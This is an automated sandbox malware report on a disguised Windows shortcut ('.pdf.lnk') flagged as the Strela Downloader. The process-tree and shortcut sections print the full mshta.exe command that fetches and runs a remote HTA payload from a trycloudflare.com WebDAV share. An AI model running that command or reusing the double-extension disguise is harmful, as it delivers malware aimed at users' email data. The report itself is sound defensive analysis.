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Windows Analysis Report
RE_005859358438475.pdf.lnk.download.lnk

Overview

General Information

Sample name:	RE_005859358438475.pdf.lnk.download.lnk
Analysis ID:	1657843
MD5:	499ee4b114b59c9743db0e8e12c42e00
SHA1:	e8a96fd7d2c0d058b486cf1bec568efea2574398
SHA256:	043da7a869ddbde92c6438d8a441b84cd64fc704f9a1b17641d40e98a1ced077
Tags:	lnkWsgiDAVuser-JAMESWT_WT
Infos:

Detection

Strela Downloader

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Strela Downloader

Opens network shares

Uses an obfuscated file name to hide its real file extension (double extension)

Program does not show much activity (idle)

Searches for the Microsoft Outlook file path

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7132 cmdline: "C:\Windows\System32\mshta.exe" "\\optical-bright-fonts-zealand.trycloudflare.com@SSL\DavWWWRoot\raye.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: mshta.exe PID: 7132	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: RE_005859358438475.pdf.lnk.download.lnk

Virustotal: Detection: 21%

Perma Link

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: mshta.exe PID: 7132, type: MEMORYSTR

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal72.rans.spyw.evad.winLNK@1/0@0/0

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RE_005859358438475.pdf.lnk.download.lnk

Virustotal: Detection: 21%

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: RE_005859358438475.pdf.lnk.download.lnk

LNK file: ..\..\..\..\Windows\System32\mshta.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\mshta.exe

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.lnk

Static PE information: RE_005859358438475.pdf.lnk.download.lnk

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Stealing of Sensitive Information

Opens network shares

Source: C:\Windows\System32\mshta.exe

File opened: \\optical-bright-fonts-zealand.trycloudflare.com@ssl\DavWWWRoot\

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Email Collection	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 DLL Side-Loading	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	2 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

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Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RE_005859358438475.pdf.lnk.download.lnk	21%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1657843
Start date and time:	2025-04-06 19:14:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RE_005859358438475.pdf.lnk.download.lnk
Detection:	MAL
Classification:	mal72.rans.spyw.evad.winLNK@1/0@0/0
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 184.31.69.3
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:15:23	API Interceptor	1x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=11, Archive, ctime=Wed Nov 13 02:14:06 2024, mtime=Wed Nov 13 02:14:06 2024, atime=Wed Nov 13 02:14:06 2024, length=32768, window=hidenormalshowminimized
Entropy (8bit):	3.88181430059045
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	RE_005859358438475.pdf.lnk.download.lnk
File size:	2'863 bytes
MD5:	499ee4b114b59c9743db0e8e12c42e00
SHA1:	e8a96fd7d2c0d058b486cf1bec568efea2574398
SHA256:	043da7a869ddbde92c6438d8a441b84cd64fc704f9a1b17641d40e98a1ced077
SHA512:	463fb5f47df8762aa7695696df8c1ea43361dfb2dbe9cc5172f8b3e40bf0408d9e53ab28db3692df524e8b6295a6ef58fd02c0bc0a950c5c4ed09022c8d7e4bf
SSDEEP:	48:8gjmMEzQKrGWeLMeTVdLXuHz7Jk7gF2JqsQ+v0YW+:8gj7Ow4efuTWsFCqsQc0b+
TLSH:	47513F012BF80761F3B68A71087AB2206E32BC96E951C76E1490438C0872F14DE2AF7B
File Content Preview:	L..................F.@.. ....wh.z5..'.j.z5..'.j.z5..........................;....P.O. .:i.....+00.../C:\...................V.1.....)Z....Windows.@........R.@)Z..............................+.W.i.n.d.o.w.s.....Z.1.....CZL:..System32..B........R.@CZL:......

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\mshta.exe
Command Line Argument:	"\\optical-bright-fonts-zealand.trycloudflare.com@SSL\DavWWWRoot\raye.hta"
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

• mshta.exe

Click to jump to process

Memory Usage

• mshta.exe

Click to jump to process

System Behavior

Analysis Process: mshta.exePID: 7132, Parent PID: 4088

Function Logs

General

Target ID:	0
Start time:	13:15:23
Start date:	06/04/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\mshta.exe" "\\optical-bright-fonts-zealand.trycloudflare.com@SSL\DavWWWRoot\raye.hta"
Imagebase:	0x7ff6da670000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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Section Activities

Sections loaded by Windows

Sections loaded by Program

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Registry Activities

Key Opened

Key Value Queried

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COM Activities

COM Object Queried

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Mutex Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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Process Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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Thread Activities

Thread Information Set

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Memory Activities

Memory Usage Statistics

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System Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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Timing Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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Windows UI Activities

Window UI Enumerated

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Object Security Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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LPC Port Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

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Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report RE_005859358438475.pdf.lnk.download.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static Windows Shortcut Info

General

Network Behavior

Statistics

CPU Usage

Memory Usage

System Behavior

Analysis Process: mshta.exePID: 7132, Parent PID: 4088

General

File Activities

File Opened

File Attributes Queried

Volume Information Queried

Device IO

Section Activities

Sections loaded by Windows

Sections loaded by Program

Registry Activities

Key Opened

Key Value Queried

Key Monitored

Key Value Enumerated

Key Enumerated

COM Activities

COM Object Queried

Windows Analysis Report
RE_005859358438475.pdf.lnk.download.lnk